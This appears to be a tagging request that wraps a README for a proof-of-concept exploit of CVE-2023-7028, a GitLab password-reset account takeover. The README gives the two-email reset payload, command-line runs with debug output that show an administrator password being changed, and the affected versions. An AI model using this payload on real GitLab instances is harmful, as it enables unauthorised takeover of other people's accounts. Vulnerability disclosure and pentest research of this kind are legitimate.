base on This repository presents a proof-of-concept of CVE-2023-7028 # CVE-2023-7028 | Account-Take-Over Gitlab ## Disclamer This code is a proof of concept of the vulnerability, I'm not pushing anyone to use it on gitlab instances they don't own. This tool has been developed for research and educational purposes only and I will not be held responsible for any use you may make of it. ## Description: CVE-2023-7028 refers to an Account-Take-Over vulnerability that allows users to take control of the gitlab administrator account without user interaction. The vulnerability lies in the management of emails when resetting passwords. An attacker can provide 2 emails and the reset code will be sent to both. It is therefore possible to provide the e-mail address of the target account as well as that of the attacker, and to reset the administrator password. *(Gitlab points out that 2-factor authentication prevents this vulnerability from being exploited, since an attacker, even after resetting the password, will not be able to log in.)* This vulnerability was discovered by [asterion04](https://hackerone.com/asterion04) ## Payload: Here's an example payload ``` user[email][][email protected]&user[email][][email protected] ``` ## POC: ##### Method 1: Using temp email ```bash python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -t [email protected] [DEBUG] Getting temporary mail [DEBUG] Scrapping available domains on 1secmail.com [DEBUG] 8 domains found [DEBUG] Temporary mail: [email protected] [DEBUG] Getting authenticity_token ... [DEBUG] authenticity_token = bc91lpzwTOaY9dg5SWjLvvDDb61j6ZunCX4DXYlSnWz9Y3zK35SPiLNShhrDrPVDgY_AzQjzpD5qVt2WXeolog [DEBUG] Sending reset password request [DEBUG] Emails sended to [email protected] and [email protected] ! [DEBUG] Waiting mail, sleeping for 7.5 seconds [DEBUG] Getting link using temp-mail | Try N°1 on 5 [DEBUG] Getting last mail for [email protected] [DEBUG] 1 mail(s) found [DEBUG] Reading the last one [DEBUG] Generating new password [DEBUG] Getting authenticity_token ... [DEBUG] authenticity_token = RN6gypVz7Zxtu2zRsJmKPsDHNumIH_UPvdn7aQoWRBnUcqmW1hcu8kYcMvI6XbTDsYuZieMFypbe8SWi3q781w [DEBUG] Changing password to l3mG2v2XN4UBzbN18ZkW [DEBUG] CVE_2023_7028 succeed ! You can connect on https://gitlab.example.com/users/sign_in Username: [email protected] Password: l3mG2v2XN4UBzbN18ZkW ``` ##### Method 2: Using evil email ```bash python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -t [email protected] -e [email protected] [DEBUG] Getting authenticity_token ... [DEBUG] authenticity_token = 1Yt1EUeWSL-oiSV7v1Z6ghdCDG3w0FFCQB8Uc5B5GAodVNJ26OlPT8HtYYleGXB9F0otas3gnHOtRfhFall8pQ [DEBUG] Sending reset password request [DEBUG] Emails sended to [email protected] and [email protected] ! Input link received by mail: https://gitlab.example.com/users/password/edit?reset_password_token=U8PSU7DXdebdTD3GjMiX [DEBUG] Generating new password [DEBUG] Getting authenticity_token ... [DEBUG] authenticity_token = N7gs43C9ZMxdniA9UEzzfH2Rlhgejt75M1Kw88vaarP_Z4uE38JjPDT6ZM-xA_mDfZm3HyO-E8jeCFzFMfoOHA [DEBUG] Changing password to EU7XIYjlawjb5tH2jgmU [DEBUG] CVE_2023_7028 succeed ! You can connect on https://gitlab.example.com/users/sign_in Username: [email protected] Password: EU7XIYjlawjb5tH2jgmU ``` ## Help ```md $ python3 .\CVE-2023-7028.py -h usage: CVE-2023-7028.py [-h] -u URL -t TARGET [-e EVIL] This tool automates CVE-2023-7028 on gitlab optional arguments: -h, --help show this help message and exit -u URL, --url URL Gitlab url -t TARGET, --target TARGET Target email -e EVIL, --evil EVIL Evil email -p PASSWORD, --password PASSWORD Password ``` #### Note: Without the `--evil` option, which specifies the attacker's email address, the script uses a **public temp-mail** to find the password reset link. => *Be careful if this poc is used during a pentest.* ## Versions concerned - 16.1 to 16.1.5 - 16.2 to 16.2.8 - 16.3 to 16.3.6 - 16.4 to 16.4.4 - 16.5 to 16.5.5 - 16.6 to 16.6.3 - 16.7 to 16.7.1 ## References: - https://about.gitlab.com/releases/2024/01/11/critical-security-release-gitlab-16-7-2-released/ - https://docs.gitlab.com/ee/install/docker.html - https://www.cert.ssi.gouv.fr/avis/CERTFR-2024-AVI-0030/ ", Assign "at most 3 tags" to the expected json: {"id":"6934","tags":[]} "only from the tags list I provide: [{"id":77,"name":"3d"},{"id":89,"name":"agent"},{"id":17,"name":"ai"},{"id":54,"name":"algorithm"},{"id":24,"name":"api"},{"id":44,"name":"authentication"},{"id":3,"name":"aws"},{"id":27,"name":"backend"},{"id":60,"name":"benchmark"},{"id":72,"name":"best-practices"},{"id":39,"name":"bitcoin"},{"id":37,"name":"blockchain"},{"id":1,"name":"blog"},{"id":45,"name":"bundler"},{"id":58,"name":"cache"},{"id":21,"name":"chat"},{"id":49,"name":"cicd"},{"id":4,"name":"cli"},{"id":64,"name":"cloud-native"},{"id":48,"name":"cms"},{"id":61,"name":"compiler"},{"id":68,"name":"containerization"},{"id":92,"name":"crm"},{"id":34,"name":"data"},{"id":47,"name":"database"},{"id":8,"name":"declarative-gui "},{"id":9,"name":"deploy-tool"},{"id":53,"name":"desktop-app"},{"id":6,"name":"dev-exp-lib"},{"id":59,"name":"dev-tool"},{"id":13,"name":"ecommerce"},{"id":26,"name":"editor"},{"id":66,"name":"emulator"},{"id":62,"name":"filesystem"},{"id":80,"name":"finance"},{"id":15,"name":"firmware"},{"id":73,"name":"for-fun"},{"id":2,"name":"framework"},{"id":11,"name":"frontend"},{"id":22,"name":"game"},{"id":81,"name":"game-engine "},{"id":23,"name":"graphql"},{"id":84,"name":"gui"},{"id":91,"name":"http"},{"id":5,"name":"http-client"},{"id":51,"name":"iac"},{"id":30,"name":"ide"},{"id":78,"name":"iot"},{"id":40,"name":"json"},{"id":83,"name":"julian"},{"id":38,"name":"k8s"},{"id":31,"name":"language"},{"id":10,"name":"learning-resource"},{"id":33,"name":"lib"},{"id":41,"name":"linter"},{"id":28,"name":"lms"},{"id":16,"name":"logging"},{"id":76,"name":"low-code"},{"id":90,"name":"message-queue"},{"id":42,"name":"mobile-app"},{"id":18,"name":"monitoring"},{"id":36,"name":"networking"},{"id":7,"name":"node-version"},{"id":55,"name":"nosql"},{"id":57,"name":"observability"},{"id":46,"name":"orm"},{"id":52,"name":"os"},{"id":14,"name":"parser"},{"id":74,"name":"react"},{"id":82,"name":"real-time"},{"id":56,"name":"robot"},{"id":65,"name":"runtime"},{"id":32,"name":"sdk"},{"id":71,"name":"search"},{"id":63,"name":"secrets"},{"id":25,"name":"security"},{"id":85,"name":"server"},{"id":86,"name":"serverless"},{"id":70,"name":"storage"},{"id":75,"name":"system-design"},{"id":79,"name":"terminal"},{"id":29,"name":"testing"},{"id":12,"name":"ui"},{"id":50,"name":"ux"},{"id":88,"name":"video"},{"id":20,"name":"web-app"},{"id":35,"name":"web-server"},{"id":43,"name":"webassembly"},{"id":69,"name":"workflow"},{"id":87,"name":"yaml"}]" returns me the "expected json"